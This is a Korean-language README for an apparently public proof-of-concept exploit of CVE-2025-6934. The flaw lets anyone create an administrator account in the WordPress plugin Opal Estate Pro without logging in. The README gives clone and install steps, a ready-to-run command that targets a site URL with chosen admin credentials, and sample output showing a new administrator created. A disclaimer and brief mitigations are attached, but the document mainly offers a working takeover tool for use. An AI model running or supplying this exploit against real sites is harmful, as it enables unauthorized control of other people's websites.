CVE-2025-6934 – WordPress Opal Estate Pro 익스플로잇

📖 설명
이 저장소에는 CVE-2025-6934에 대한 PoC(Proof of Concept) 익스플로잇이 포함되어 있으며,
인증 없이 관리자 계정 생성을 허용하는 WordPress 플러그인: Opal Estate Pro <= 1.7.5의 치명적인 취약점입니다.

⚠️ 면책 조항: 이 도구는 교육 및 보안 연구 목적으로만 제공됩니다.
작성자는 오용 또는 이로 인해 발생한 피해에 대해 책임지지 않습니다.

---

🚀 기능

• readme.txt에서 플러그인 버전 자동 감지
• 등록용 nonce 추출
• 취약한 AJAX 엔드포인트 익스플로잇
• 새 관리자 계정 생성

---

🔧 설치

저장소를 클론하고 의존성을 설치합니다:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

---

▶️ 사용법

대상(target)으로 스크립트를 실행합니다:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ 출력 예시:

[✔] Eksploitasi Berhasil!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

---

📸 스크린샷

익스플로잇 스크린샷

---

🛡️ 완화 조치

• 플러그인을 최신 버전으로 업데이트하세요
• 또는 취약한 플러그인을 즉시 비활성화하세요
• WordPress 로그에서 무단 계정 생성을 모니터링하세요

---

👤 작성자

Cyberlone Indonesia (Cyberlone)

---

📜 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 – 자세한 내용은 LICENSE를 참조하세요.